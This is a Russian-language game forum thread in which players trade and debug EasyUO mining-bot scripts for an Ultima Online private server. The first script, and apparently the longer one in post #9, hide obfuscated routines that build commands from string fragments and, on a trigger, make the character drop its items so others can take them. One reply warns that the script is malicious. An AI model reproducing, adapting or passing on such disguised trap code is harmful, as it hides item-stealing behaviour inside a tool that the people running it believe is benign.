Jump to content


Toggle shoutbox Chat Open the Shoutbox in a popup

Прямая связь с администрацией по скайпу: gods.dragon
@  Cmapk : (Yesterday, 10:02) Грига, ну ты и позорище :DDD
@  Cmapk : (30 October 2024 - 03:28) Buy Elfian Tunic!!!
@  Costesti : (29 October 2024 - 21:36) или пройдёт 500 часов и антимакрос начнёт доставать ?
@  Costesti : (29 October 2024 - 21:35) Такой вопрос а антимакрос на добывания ресурсов есть или нет ?
@  Cmapk : (29 October 2024 - 20:23) @Artemy Shan может пора найти человека, кто бы следил за Колорами, Лостами ?) заходит типы под несколько аккаунтов, и смысл допустим мне ходить туда ? :) 3 раунда человек простоял афк, 3 раза выиграл, 1 раз он, 1ое место берёт он, ну да, удивляемся почему игроков новых нету :D
@  Artemy Shan : (14 October 2024 - 03:48) Запустил .hot :)
@  Costesti : (08 October 2024 - 22:26) Я смотрю Shanu не нужны Евро
@  bissca : (03 October 2024 - 16:59) NU GDE ETOT HOT SHAN TI ZAIBAL MAROZIT
@  Costesti : (01 October 2024 - 20:51) Вопрос кто то смог купить РП из европы?
@  jurasiks : (29 September 2024 - 21:00) (
@  beatiful : (29 September 2024 - 10:30) pisec uzhe xolod na ulice Shan,a ti ne mozis podklucitj hot stobi nam stala ujutno i teplo na nasam servere?
@  jurasiks : (26 September 2024 - 06:57) hahaha:D
@  fr33 : (18 September 2024 - 09:04) ura go go go varki
@  Artemy Shan : (17 September 2024 - 22:00) Сайт что-то лагует, попрошу техника проверить в чем дело. Пока ребутнул веб.
@  Artemy Shan : (17 September 2024 - 22:00) На днях начнём осенний сезон. Всем приготовиться :)
@  fr33 : (02 September 2024 - 13:07) nu vse uze skola nacalasj, gm davai proff
@  beatiful : (01 September 2024 - 20:50) davai v peredi uze novij osinj , uze sezon
@  fr33 : (27 August 2024 - 16:07) v ponedelnik uze osenj, novii sezon i gm dast proff
@  fr33 : (15 August 2024 - 16:45) i mne toze ne idet, gm delaj serv
@  jurasiks : (14 August 2024 - 17:45) Ilji u menja odnogo serv ne edet?

Photo

Доработка Скрипта На Майнинг


  • Please log in to reply
24 replies to this topic

#1 osasjtim

osasjtim

    Newbie

  • Members
  • 19 posts

Posted 12 August 2019 - 20:40

Товарищи! Нужна Ваша помощь!

Целый день гуглил - причем я не программер, но вот получился рабочий скрипт на майнинг. Без телепортов и т.п. Просто ходим по точкам, копаем. Настроил, чтобы при перегрузе выкидывал руду - почему-то это Iron. Я так понял, что неправильно выбран металл в скрипте, но я не могу найти, как его правильно назвать. Весь хлам, который выкапывается - где его названия и как его вписывать в скрипт? Через запятую прямо или на каждый вид выбрасываемого ресурса отдельный "блок" нужен будет?

 

Вот строчка finditem DWJ C_ меня смущает. Это должен быть марганец, а выкидывает Iron. Как остальное прикрепить - не знаю. Помогите!

 

Вот сам скрипт. Работает, кстати вполне себе. В банк не бегает и не летает по рунам, но летать пока некуда =( 2 дня играю! =))) Там буду дошлифовывать. Заранее спасибо всем!

 

              ; ?????? ??????? InFlame, ???????? ??? ???? igaza, ????????????? Aimed. ?????? 2.0
set %maxWeight 650        ; ???????????? ???
set %box UDQBLMD           ; ID ????? ??? ????? ???????? ???? ? ????? ???????
set %xCoord 1942            ; X ?????????? ????? ?????
set %yCoord 324            ; Y ?????????? ????? ?????
set %dropMarganece #true    ; #true - ?????????? ????? , #false - ???
set %dropDelay 45
set %lootDelay 45
set %dropDelay 45
; End Of Set Up Part
 
set %item OVF_EVF_HVF_RVF_FVF_GVF_BVF_VUF_DWJ_TVj_GWJ_EWJ_ZLK_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_UJG_DCI_FWL_NZH
set %loot OVF_EVF_HVF_RVF_FVF_GVF_BVF_VUF_DCI_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL
 
gosub gettingStarted
gosub initevents
set %k 0
set %lastK 0
 
start:
 
 GOSUB LJING 2565 482 1340
 GOSUB LJING 2565 483 1340
 GOSUB LJING 2565 480 1339
 GOSUB LJING 2567 480 1339
 GOSUB LJING 2567 482 1339
 GOSUB LJING 2566 477 1339
 GOSUB LJING 2568 475 1339
 GOSUB LJING 2571 474 1358
 GOSUB LJING 2569 477 1339
 GOSUB LJING 2570 478 1339
 GOSUB LJING 2574 476 1339
 GOSUB LJING 2572 479 1339
 GOSUB LJING 2576 476 1339
 GOSUB LJING 2575 475 1339
 GOSUB LJING 2577 476 1339
 GOSUB LJING 2576 479 1339
 GOSUB LJING 2579 478 1339
 GOSUB LJING 2579 479 1339
 GOSUB LJING 2580 480 1339
 GOSUB LJING 2578 481 1339
 GOSUB LJING 2581 480 1352
 GOSUB LJING 2580 482 1339
 GOSUB LJING 2577 482 1339
 GOSUB LJING 2579 481 1339
 GOSUB LJING 2576 480 1339
 GOSUB LJING 2576 484 2280
 GOSUB LJING 2574 483 1342
 GOSUB LJING 2575 485 1342
 GOSUB LJING 2572 484 1339
 GOSUB LJING 2573 486 1339
 GOSUB LJING 2571 484 1340
 GOSUB LJING 2570 487 1340
 GOSUB LJING 2569 486 1342
 GOSUB LJING 2568 489 1345
 GOSUB LJING 2567 486 1339
 GOSUB LJING 2566 490 1344
 GOSUB LJING 2564 488 1339
 GOSUB LJING 2563 492 1339
 
goto start
 
sub ljing
set %k %k + 1
gosub ghost
gosub checkWeight
gosub kopka
 
sub kopka
move %1 %2 1
finditem NPF_QPF C
if #findcnt = 0
 {
  display ok Pickaxe wasn't found!
  pause
 }
set #lobjectid #findid
event macro 17 0
target 5s
set #ltargetx %1
set #ltargety %2
set #ltargetkind 3
set #ltargettile %3
event macro 22 0
wait 10
set %overtime #scnt + 10
gosub scan
return
 
sub scan
scan:
scanjournal
if ( ( put_the_pieces in #sysMsg ) || ( put_the_Elemental in #sysMsg ) || ( put_the_Lava in #sysMsg ) || ( You_loosen in #sysMsg ) || ( put_the_Dark_Crystal in #sysMsg ) || ( put_the_Meteor in #sysMsg ) || ( put_the_Black_Steel in #sysMsg ) || ( put_the_Gold in #sysMsg ) || ( put_the_Silver in #sysMsg ) || ( put_the_Platinum in #sysMsg ) )
gosub kopka
%get fixed
if ( ( You_put_the_Steel_ore in #sysMsg ) || ( You_put_the_Copper_ore in #sysMsg ) || ( You_put_the_Bronze_ore in #sysMsg ) || ( You_put_the_Iron_ore in #sysMsg ) || ( nothing in #sysMsg ) || ( line in #sysMsg ) || ( decide in #sysMsg ) || ( Try in #sysMsg ) || ( close in #sysMsg ) || ( see in #sysMsg ) || ( line in #sysMsg ) )
return
if #scnt >= %overtime
return
goto scan
return
 
sub moveItems
ignoreitem reset 1
gosub runToBox
finditem %box G_3
wait 10
if #findcnt = 0
 {
  event Sysmessage Box Not Found!
  halt
 }
repeat
{
finditem %item c_ , #backpackid
if #findcnt >= 1
{
if world_save_has_been in #sysmsg
wait 15s
exevent Drag #Findid #findstack
exevent Dropc %box
wait %dropDelay
}
}
until #findcnt = 0
ignoreitem reset 1
if %recall
gosub recalls
return
 
sub runToBox
repeat
 {
 move %xCoord %yCoord 0 3s
 wait 10
 }
until #charposx = %xCoord && #charposy = %yCoord
return
 
sub ghost
if #charghost = YES || %0 = 1
{
terminate uo
halt
}
return
 
sub fixed
set %k %k + 1
%to %bca %be # . %all
{
repeat
{
set %up # . %cares
%done %start , _ , %else %end , _ , %up
%lastdo %race # . %Wsave
%lastdo %eaea # . %alpha # . %beta # . %gamma
%upgrade 25
%done %start , _ , %else %end , _ , %up
}
until # . %gems = 0
}
return
 
sub initevents
set %rescourse finding
str left %rescourse 4
set %save #strres
set %done %save , item
set %iii kill
str left string 1
set %asd #strres , %iii
set %start % . %asd
str left CADY 1
set %end #strres
str left character 4
set %who #strres
set %cares %who , id
str left %do 4
set %lastdo ex , #strres , t
set %race dragrace
str left %race 4
set %race #strres
set %Wsave %save , id
str right skopg 3
set %jasl #strres
str left drive 2
set %eaea #strres , %jasl
str left post 3
set %number %who , #strres
set %alpha %number , x
set %beta %number , y
set %gamma %number , z
set %repsawn waitrespawn
str left %repsawn 4
set %upgrade #strres
str left tilbery 3
set %almost #strres
str left unuquady 2
set %past #strres , %almost
set %gems %save , cnt
set %else IJG
return
 
sub dropMarganece
dropLoop:
finditem DWJ C_ , #backpackid
if #findcnt = 0
 {
  wait 20
  if #weight >= %maxweight
   {
   if %recall
   gosub port
   if ! %recall
   gosub moveItems
   return
   }
  if #weight < %maxweight
   return
 }
if #findcol = 0
{
set %newCharPosX #charposx - 1
exevent drag #findid #findstack
exevent dropg %newCharPosX #charposy
wait %dropDelay
}
ignoreitem #findid 1
goto dropLoop
return
 
sub gettingStarted
set %afk true
set %ell qaerty
str left %ell 1
set %abc #strres , #strres , #strres
set %a1 #strres
str left %ell 2
str right #strres 1
set %cba %abc , #strres , %a1
set %bca %cba , #strres
str right %afk 1
set %bca %bca , #strres
set %bra %bca , b
set %n1 nlogif
str right %n1 2
set %to #strres
str left %n1 1
set %be #strres
str right %n1 2
str left #strres 1
set %be #strres , %be
set %tour jour
set %navigate nalliwate
str left %navigate 3
set %all %tour , #strres
set %navigate gost
str left %navigate 3
set %ac #strres
str right pub 2
set %get %ac , #strres
set %do events
str right linit 4
set %toGo #strres , %do
return
 


#2 Beepik

Beepik

    Player

  • Members
  • 291 posts

Posted 13 August 2019 - 02:51

Tam po color on vikidivajet! vot naprimer

sub dropMarganece
dropLoop:
finditem DWJ C_ , #backpackid
if #findcnt = 0
 {
  wait 20
  if #weight >= %maxweight
   {
   if %recall
   gosub port
   if ! %recall
   gosub moveItems
   return
   }
  if #weight < %maxweight
   return
 }
if #findcol = 1750 || #findcol = 1218 || #findcol = 1325
{
exevent drag #findid #findstack
exevent dropg #charposx #charposy #charposz
wait 40

}
ignoreitem #findid 1
goto dropLoop
return

if #findcol = 1750 || #findcol = 1218 || #findcol = 1325

Tut propisivajesh color rudi katoruju hochesh vikidivatj i vsjo.

I eslji chestno to cript u tebja ochenj krivo sobran vmeste s drugova scripta! I script s RPG vzal? :D



#3 sonyplayer

sonyplayer

    Master

  • Members
  • 724 posts

Posted 13 August 2019 - 06:46

Не советую использовать данный скрипт так как он содержит вредоносный код (при использовании "комманды" выбросит на пол весь скиловой шмот) Напиши мне в ЛС дам нормальный рабочий скрипт .



#4 osasjtim

osasjtim

    Newbie

  • Members
  • 19 posts

Posted 13 August 2019 - 08:16

Спасибо, друзья мои...Sonyplayer - пишу в ЛС. Надеюсь поможете мне разобраться...

 

Beepik, да откуда только не собирал....я ж программер нулевого уровня, а настроить надо. Просто логика подсказала, как это должно работать =))) Вот и получилось - "нечто" =)))

 

Еще раз спасибо всем, ребят!



#5 osasjtim

osasjtim

    Newbie

  • Members
  • 19 posts

Posted 13 August 2019 - 12:42

Tam po color on vikidivajet! vot naprimer

sub dropMarganece
dropLoop:
finditem DWJ C_ , #backpackid
if #findcnt = 0
 {
  wait 20
  if #weight >= %maxweight
   {
   if %recall
   gosub port
   if ! %recall
   gosub moveItems
   return
   }
  if #weight < %maxweight
   return
 }
if #findcol = 1750 || #findcol = 1218 || #findcol = 1325
{
exevent drag #findid #findstack
exevent dropg #charposx #charposy #charposz
wait 40

}
ignoreitem #findid 1
goto dropLoop
return

if #findcol = 1750 || #findcol = 1218 || #findcol = 1325

Tut propisivajesh color rudi katoruju hochesh vikidivatj i vsjo.

I eslji chestno to cript u tebja ochenj krivo sobran vmeste s drugova scripta! I script s RPG vzal? :D

 

Спасибо, а как его цвет-то этот узнать? Ну что вот ты три цвета указал - и что они значат? Может есть база знаний какая-то или что-то...



#6 osasjtim

osasjtim

    Newbie

  • Members
  • 19 posts

Posted 13 August 2019 - 13:45

Понял, при помощи другого скрипта. Пробую =)



#7 osasjtim

osasjtim

    Newbie

  • Members
  • 19 posts

Posted 13 August 2019 - 13:57

нифига не выкидывает =( Непойму...



#8 osasjtim

osasjtim

    Newbie

  • Members
  • 19 posts

Posted 13 August 2019 - 14:41

Переписал блок sub dropMarganec и всё поехало =))) Дропает под ноги марганец и айрон.

 

sub dropMarganece
dropLoop:
finditem DWJ C_ , #backpackid
if #findcnt = 0
 {
  wait 20
  if #weight >= %maxweight
   {
   if %recall
   gosub port
   if ! %recall
   gosub moveItems
   return
   }
  if #weight < %maxweight
   return
 }
if #findcol = 1750 || #findcol = 0
{
set %newCharPosX #charposx - 1
exevent drag #findid #findstack
exevent dropg %newCharPosX #charposy
wait %dropDelay
}
ignoreitem #findid 1
goto dropLoop
return


#9 kialika1

kialika1

    Newbie

  • Members
  • 18 posts
  • Gender:Male

Posted 13 August 2019 - 21:34

может тебе будет полезен мой скрипт, нашел где-то на форуме, выкидывает все, что нужно, на скилл вещах не проверял, правда, таковых не имеется. Но зато сам ходит к дому в ящик скидывает все, удобно

set %gameClass Warrior      ; Cleric or Archer
set %maxWeight 1000       ; Max ves
set %box LSNGMMD    ; ID sunduka 
Set %jashik HLGOLMD     ; ID korobki s logami
set %foodCont OPJKKMD   ; ID korobki, gde stoit zapasi moloko i bekona
set %lootbox ZRAOKMD     ; ID korobki, kuda skiduvaet drop s gvarda
set %xCoord 1850           ; X koordinata okolo boxa
set %yCoord 1022           ; Y koordinata okolo boxa
set %dropMarganece #true ; #true - nomet marganizu , #false - nenomet
set %dropTin #true ; #true - skiduvatj , #false - ne skiduvatj
set %dropBronze #true
set %dropLead #true
set %dropCorrundum #true
set %dropGold #true
set %dropTourmaline #true
set %dropSilver #true
set %dropMarble #false
set %dropZink #false
set %dropGypsum #false
set %dropSandstone #false
set %dropCopper #false
set %dropIron #true
set %dropTitan #false
set %dropStone #false
set %dropPlaster #false
set %skillItemChange #false  ; #true - menjajet skill shmotki, #false - net
set %recall #false           ; #true - letajet s runebook, #false - begut peshkom
; Do Not Set These Items If %skillItemChange #false
set %skillRobe KIOSJMD      ; Skill Roba (ID)
set %skillCloak TCNSJMD     ; Skill Cloack (ID)
set %skillMask YSNSJMD      ; Skill Mask (ID)
set %simpleRobe UTRVLMD     ; Prostaja Roba (ID)
set %simpleCloak VARVLMD    ; Prostoj cloack (ID)
set %simpleMask CSH         ; Helm (TYPE/ID)
; Etix mozhno ne menjatj, esli %recall #false
set %runebookID NDWXJMD      ; ID runebooka
set %runeNumberToHome 7      ; Nr runi na dom
set %runeNumberToWood 10     ; Nr runi na les
set %amountRecalls 10        ; Skolko recallov vzjatj, kogda ix netu
; special variables for Archer (tolka dlja archera):
set %camp heal ; #spc - the best camp, heal - healing campifre +5
set %minKidlings 10    ; minimalnoe kolichestvo kidlov v sumke
set %amountKidlings 40 ; skolko kidlov vzjatj, kogda ix netu
set %minArrows 150     ; minimalnoe kolichestvo strel v sumke
set %amountArrows 400  ; skolko strel vzjatj, kogda ix netu
; special variables for Cleric(tolko dlja klerika):
set %Weapon BPH ;BPH - sword, JOH - war axe; oruzhie
set %Shield CIK             ; shild

set %item DWJ_TVj_GWJ_EWJ_ZLK_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_UJG_DCI_FWL_NZH_RMK

set %loot DCI_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL

if %recall
{
gosub Instalyze runeNumberToHome 1
gosub Instalyze runeNumberToWood 2
}
if %dropMarganece
set %MarganeceCol 1750
if %dropTin
set %TinCol 1325
if %dropBronze
set %BronzeCol 1160
if %dropLead
set %LeadCol 2125
if %dropCorrundum
set %CorrundumCol 1548
if %dropGold
set %GoldCol 1093
if %dropTourmaline
set %TourmalineCol 1218
if %dropSilver
set %SilverCol 1153
if %dropMarble
set %MarbleCol 1950
if %dropZink
set %ZinkCol 38
if %dropGypsum
set %GypsumCol 995
if %dropSandstone
set %SandstoneCol 144
if %dropCopper
set %CopperCol 1537
if %dropIron
set %IronCol 0
if %dropTitan
set %TitanCol 1107
if %dropStone
set %StoneCol 2313
if %dropPlaster
set %PlasterCol 151
set %skill %skillRobe , _ , %skillCloak , _ , %skillMask
gosub gettingStarted
gosub initevents
set %k 0
set %lastK 0

start:

 GOSUB LJING 1805 1022 1353 0
 GOSUB LJING 1806 1022 1357 0
 GOSUB LJING 1807 1022 1357 0
 GOSUB LJING 1808 1022 1359 0
 GOSUB LJING 1809 1022 1358 0
 GOSUB LJING 1810 1022 1363 0
 GOSUB LJING 1811 1023 1352 0
 GOSUB LJING 1810 1023 1341 0
 GOSUB LJING 1809 1023 1340 0
 GOSUB LJING 1808 1023 1339 0
 GOSUB LJING 1807 1023 1339 0
 GOSUB LJING 1806 1023 1343 0
 GOSUB LJING 1805 1023 1341 0
 GOSUB LJING 1804 1023 1353 0
 GOSUB LJING 1803 1024 1353 0
 GOSUB LJING 1804 1024 1339 0
 GOSUB LJING 1802 1025 1353 0
 GOSUB LJING 1803 1025 1341 0
 GOSUB LJING 1804 1025 1340 0
 GOSUB LJING 1805 1025 1343 0
 GOSUB LJING 1806 1024 1341 0
 GOSUB LJING 1806 1025 1339 0
 GOSUB LJING 1807 1025 1342 0
 GOSUB LJING 1809 1025 1340 0
 GOSUB LJING 1810 1025 1343 0
 GOSUB LJING 1810 1024 1342 0
 GOSUB LJING 1811 1024 1341 0
 GOSUB LJING 1811 1025 1339 0
 GOSUB LJING 1812 1025 1342 0
 GOSUB LJING 1812 1024 1363 0
 GOSUB LJING 1813 1025 1352 0
 GOSUB LJING 1814 1026 1363 0
 GOSUB LJING 1813 1026 1339 0
 GOSUB LJING 1812 1026 1343 0
 GOSUB LJING 1811 1026 1341 0
 GOSUB LJING 1810 1026 1342 0
 GOSUB LJING 1809 1026 1339 0
 GOSUB LJING 1808 1026 1340 0
 GOSUB LJING 1807 1026 1343 0
 GOSUB LJING 1806 1026 1341 0
 GOSUB LJING 1805 1026 1342 0
 GOSUB LJING 1804 1026 1339 0
 GOSUB LJING 1803 1026 1340 0
 GOSUB LJING 1802 1026 1355 0
 GOSUB LJING 1799 1029 1353 0
 GOSUB LJING 1800 1029 1340 0
 GOSUB LJING 1800 1028 1353 0
 GOSUB LJING 1801 1029 1340 0
 GOSUB LJING 1801 1028 1340 0
 GOSUB LJING 1801 1027 1353 0
 GOSUB LJING 1802 1029 1339 0
 GOSUB LJING 1802 1028 1339 0
 GOSUB LJING 1802 1027 1340 0
 GOSUB LJING 1803 1027 1341 0
 GOSUB LJING 1803 1028 1339 0
 GOSUB LJING 1803 1029 1341 0
 GOSUB LJING 1804 1027 1342 0
 GOSUB LJING 1804 1028 1340 0
 GOSUB LJING 1804 1029 1339 0
 GOSUB LJING 1805 1027 1340 0
 GOSUB LJING 1805 1028 1341 0
 GOSUB LJING 1805 1029 1342 0
 GOSUB LJING 1806 1027 1342 0
 GOSUB LJING 1806 1028 1343 0
 GOSUB LJING 1806 1029 1341 0
 GOSUB LJING 1807 1027 1341 0
 GOSUB LJING 1807 1028 1339 0
 GOSUB LJING 1807 1029 1340 0
 GOSUB LJING 1808 1027 1341 0
 GOSUB LJING 1808 1028 1339 0
 GOSUB LJING 1808 1029 1341 0
 GOSUB LJING 1809 1027 1342 0
 GOSUB LJING 1809 1028 1340 0
 GOSUB LJING 1809 1029 1339 0
 GOSUB LJING 1810 1027 1340 0
 GOSUB LJING 1810 1028 1341 0
 GOSUB LJING 1810 1029 1342 0
 GOSUB LJING 1811 1027 1342 0
 GOSUB LJING 1811 1028 1343 0
 GOSUB LJING 1811 1029 1341 0
 GOSUB LJING 1812 1027 1341 0
 GOSUB LJING 1812 1028 1339 0
 GOSUB LJING 1812 1029 1340 0
 GOSUB LJING 1813 1027 1343 0
 GOSUB LJING 1813 1028 1339 0
 GOSUB LJING 1813 1029 1341 0
 GOSUB LJING 1814 1027 1342 0
 GOSUB LJING 1814 1028 1340 0
 GOSUB LJING 1814 1029 1339 0
 GOSUB LJING 1815 1027 1358 0
 GOSUB LJING 1815 1028 1341 0
 GOSUB LJING 1815 1029 1342 0
 GOSUB LJING 1816 1027 1357 0
 GOSUB LJING 1816 1028 1343 0
 GOSUB LJING 1816 1029 1341 0
 GOSUB LJING 1817 1027 1359 0
 GOSUB LJING 1817 1028 1339 0
 GOSUB LJING 1817 1029 1340 0
 GOSUB LJING 1818 1026 1353 0
 GOSUB LJING 1818 1027 1341 0
 GOSUB LJING 1818 1028 1339 0
 GOSUB LJING 1818 1029 1341 0
 GOSUB LJING 1819 1029 1339 0
 GOSUB LJING 1819 1028 1340 0
 GOSUB LJING 1819 1027 1340 0
 GOSUB LJING 1819 1026 1357 0
 GOSUB LJING 1820 1026 1352 0
 GOSUB LJING 1820 1027 1339 0
 GOSUB LJING 1820 1028 1341 0
 GOSUB LJING 1820 1029 1342 0
 GOSUB LJING 1821 1027 1358 0
 GOSUB LJING 1821 1028 1343 0
 GOSUB LJING 1821 1029 1341 0
 GOSUB LJING 1822 1029 1340 0
 GOSUB LJING 1822 1028 1339 0
 GOSUB LJING 1822 1027 1357 0
 GOSUB LJING 1823 1027 1357 0
 GOSUB LJING 1823 1028 1339 0
 GOSUB LJING 1823 1029 1340 0
 GOSUB LJING 1824 1028 1343 0
 GOSUB LJING 1824 1029 1342 0
 GOSUB LJING 1824 1030 1341 0
 GOSUB LJING 1824 1031 1340 0
 GOSUB LJING 1824 1032 1339 0
 GOSUB LJING 1823 1030 1341 0
 GOSUB LJING 1823 1031 1342 0
 GOSUB LJING 1823 1032 1343 0
 GOSUB LJING 1822 1033 1345 0
 GOSUB LJING 1822 1032 1341 0
 GOSUB LJING 1822 1031 1343 0
 GOSUB LJING 1822 1030 1342 0
 GOSUB LJING 1821 1030 1339 0
 GOSUB LJING 1821 1031 1341 0
 GOSUB LJING 1821 1032 1342 0
 GOSUB LJING 1821 1033 1346 0
 GOSUB LJING 1820 1034 1344 0
 GOSUB LJING 1820 1033 1343 0
 GOSUB LJING 1820 1032 1340 0
 GOSUB LJING 1820 1031 1342 0
 GOSUB LJING 1820 1030 1343 0
 GOSUB LJING 1819 1030 1340 0
 GOSUB LJING 1819 1031 1339 0
 GOSUB LJING 1819 1032 1342 0
 GOSUB LJING 1819 1033 1342 0
 GOSUB LJING 1819 1034 1351 0
 GOSUB LJING 1818 1033 1347 0
 GOSUB LJING 1818 1032 1341 0
 GOSUB LJING 1818 1031 1340 0
 GOSUB LJING 1818 1030 1341 0
 GOSUB LJING 1817 1030 1342 0
 GOSUB LJING 1817 1031 1343 0
 GOSUB LJING 1817 1032 1341 0
 GOSUB LJING 1817 1033 1345 0
 GOSUB LJING 1816 1033 1346 0
 GOSUB LJING 1816 1032 1342 0
 GOSUB LJING 1816 1031 1341 0
 GOSUB LJING 1816 1030 1339 0
 GOSUB LJING 1815 1030 1343 0
 GOSUB LJING 1815 1031 1342 0
 GOSUB LJING 1815 1032 1340 0
 GOSUB LJING 1815 1033 1339 0
 GOSUB LJING 1815 1034 1361 0
 GOSUB LJING 1814 1034 1343 0
 GOSUB LJING 1814 1032 1342 0
 GOSUB LJING 1814 1031 1339 0
 GOSUB LJING 1814 1030 1340 0
 GOSUB LJING 1813 1030 1341 0
 GOSUB LJING 1813 1031 1340 0
 GOSUB LJING 1812 1031 1343 0
 GOSUB LJING 1812 1030 1342 0
 GOSUB LJING 1811 1030 1339 0
 GOSUB LJING 1811 1031 1341 0
 GOSUB LJING 1810 1032 1340 0
 GOSUB LJING 1810 1031 1342 0
 GOSUB LJING 1810 1030 1343 0
 GOSUB LJING 1809 1030 1340 0
 GOSUB LJING 1809 1031 1339 0
 GOSUB LJING 1809 1032 1342 0
 GOSUB LJING 1808 1032 1341 0
 GOSUB LJING 1808 1031 1340 0
 GOSUB LJING 1808 1030 1341 0
 GOSUB LJING 1807 1030 1342 0
 GOSUB LJING 1807 1031 1343 0
 GOSUB LJING 1807 1032 1341 0
 GOSUB LJING 1806 1032 1342 0
 GOSUB LJING 1806 1031 1341 0
 GOSUB LJING 1806 1030 1339 0
 GOSUB LJING 1805 1030 1343 0
 GOSUB LJING 1804 1030 1340 0
 GOSUB LJING 1803 1030 1341 0
 GOSUB LJING 1802 1032 1340 0
 GOSUB LJING 1802 1031 1339 0
 GOSUB LJING 1801 1030 1343 0
 GOSUB LJING 1801 1031 1343 0
 GOSUB LJING 1801 1032 1341 0
 GOSUB LJING 1800 1032 1342 0
 GOSUB LJING 1800 1031 1341 0
 GOSUB LJING 1800 1030 1342 0
 GOSUB LJING 1799 1030 1340 0
 GOSUB LJING 1799 1031 1340 0
 GOSUB LJING 1799 1032 1339 0
 GOSUB LJING 1798 1032 1341 0
 GOSUB LJING 1798 1031 1339 0
 GOSUB LJING 1798 1030 1353 0
 GOSUB LJING 1797 1031 1353 0
 GOSUB LJING 1797 1032 1354 0
 GOSUB LJING 1797 1033 1355 0
 GOSUB LJING 1797 1034 1356 0
 GOSUB LJING 1797 1035 1351 0
 GOSUB LJING 1798 1033 1341 0
 GOSUB LJING 1798 1034 1340 0
 GOSUB LJING 1798 1035 1341 0
 GOSUB LJING 1798 1036 1351 0
 GOSUB LJING 1799 1036 1339 0
 GOSUB LJING 1799 1035 1342 0
 GOSUB LJING 1799 1034 1339 0
 GOSUB LJING 1799 1033 1340 0
 GOSUB LJING 1800 1033 1343 0
 GOSUB LJING 1800 1034 1342 0
 GOSUB LJING 1800 1035 1340 0
 GOSUB LJING 1801 1035 1342 0
 GOSUB LJING 1801 1034 1341 0
 GOSUB LJING 1801 1033 1339 0
 GOSUB LJING 1802 1033 1342 0
 GOSUB LJING 1802 1034 1343 0
 GOSUB LJING 1802 1035 1341 0
 GOSUB LJING 1804 1035 1340 0
 GOSUB LJING 1805 1035 1343 0
 GOSUB LJING 1806 1035 1339 0
 GOSUB LJING 1806 1034 1341 0
 GOSUB LJING 1807 1033 1339 0
 GOSUB LJING 1807 1034 1340 0
 GOSUB LJING 1807 1035 1342 0
 GOSUB LJING 1808 1035 1341 0
 GOSUB LJING 1808 1034 1341 0
 GOSUB LJING 1808 1033 1339 0
 GOSUB LJING 1809 1033 1340 0
 GOSUB LJING 1810 1033 1341 0
 GOSUB LJING 1810 1034 1342 0
 GOSUB LJING 1809 1034 1339 0
 GOSUB LJING 1809 1035 1340 0
 GOSUB LJING 1810 1035 1343 0
 GOSUB LJING 1813 1035 1342 0
 GOSUB LJING 1813 1036 1361 0
 GOSUB LJING 1812 1036 1343 0
 GOSUB LJING 1812 1037 1361 0
 GOSUB LJING 1811 1038 1344 0
 GOSUB LJING 1811 1037 1342 0
 GOSUB LJING 1811 1036 1341 0
 GOSUB LJING 1810 1037 1340 0
 GOSUB LJING 1810 1036 1342 0
 GOSUB LJING 1809 1036 1339 0
 GOSUB LJING 1809 1037 1342 0
 GOSUB LJING 1808 1037 1341 0
 GOSUB LJING 1808 1036 1340 0
 GOSUB LJING 1807 1036 1343 0
 GOSUB LJING 1807 1037 1341 0
 GOSUB LJING 1806 1037 1342 0
 GOSUB LJING 1806 1036 1341 0
 GOSUB LJING 1805 1036 1342 0
 GOSUB LJING 1804 1037 1342 0
 GOSUB LJING 1804 1036 1339 0
 GOSUB LJING 1803 1036 1340 0
 GOSUB LJING 1803 1037 1341 0
 GOSUB LJING 1802 1037 1343 0
 GOSUB LJING 1802 1036 1339 0
 GOSUB LJING 1801 1036 1340 0
 GOSUB LJING 1800 1036 1342 0
 GOSUB LJING 1800 1037 1340 0
 GOSUB LJING 1801 1037 1339 0

goto start

sub ljing
set %k %k + 1
gosub ghost
gosub checkHP
gosub element
gosub checkWeight
move %1 %2 1
finditem NPF_QPF C
if #findcnt = 0
 {
  display ok Pickaxe wasnt found!
  pause
}
set #lobjectid #findid
event macro 17 0
target 7s
set #ltargetx %1
set #ltargety %2
set #ltargetkind 3
set #ltargettile %3
event macro 22 0
wait 10
set %overtime #scnt + 25
gosub scan
return

sub checkWeight
if #weight > %maxWeight
{
if ! %dropMarganece && ! %dropTin && ! %dropBronze && ! %dropLead && ! %dropCorrundum && ! %dropGold && ! %dropTourmaline && ! %dropSilver && ! %dropMarble && ! %dropZink && ! %dropGypsum && ! %dropSandstone && ! %dropCopper && ! %dropIron && ! %dropTitan && ! %dropStone && ! %dropPlaster
{
 if %recall
 gosub port
 if ! %recall
 gosub moveItems
}
if %dropMarganece || %dropTin || %dropBronze || %dropLead || %dropCorrundum || %dropGold || %dropTourmaline || %dropSilver || %dropMarble || %dropZink || %dropGypsum || %dropSandstone || %dropCopper || %dropIron || %dropTitan || %dropStone || %dropPlaster ||
{
 gosub dropTrashLogs
 return
 }
}
if %afk <> true || %else <> IJG
gosub ghost 1
return

sub scan
scan:
scanjournal
gosub checkHP
if hungry in #sysmsg
 {
 gosub eat
 return
 }
if ( ( THERE_IS_NOTHING_HERE_TO_MINE in #sysmsg ) || ( You_stop_Mining in #journal ) )
return
if ( ( YOU_CAN'T_REACH_THIS in #sysmsg ) || ( You_fail_to_do_that in #sysmsg ) )
return
%get fixed
if ( ( Try_mining_elsewhere in #sysmsg ) || ( You_have_no_line_of_sight_to_that_location in #sysmsg )
+ || ( You_can't_use_the in #journal ) || ( You_cannot_mine_so_close_to_yourself in #journal ) )
return
gosub element
gosub checkHP
if #scnt >= %overtime
return
goto scan
return

sub arm
if %gameClass = Warrior
{
repeat
{
finditem %Weapon c_ , #BackpackId
set #lobjectID #findid
event macro 17 0
wait 12
finditem %Weapon c_ , #BackpackId
}
until #findcnt = 0
repeat
{
finditem %Shield c_ , #BackpackId
set #lobjectID #findid
event macro 17 0
wait 12
finditem %Shield c_ , #BackpackId
}
until #findcnt = 0
}
if %gameClass = Archer
{
msg $.arm bow$
wait 5
}
return

sub port
set %k %k + 1
gosub arm
gosub checkHP
gosub reaper
if G in #charstatus
event macro 6 0
event macro 6 0
set %oldPosX #charposx
set %oldPosY #charposy
gosub openRunebook
repeat
{
click %x1 %y1
wait 20
}
until #contname <> generic_gump && #contsize <> 577_426
if %gameClass = Cleric
event macro 13 21
if %gameClass = Archer
event macro 13 47
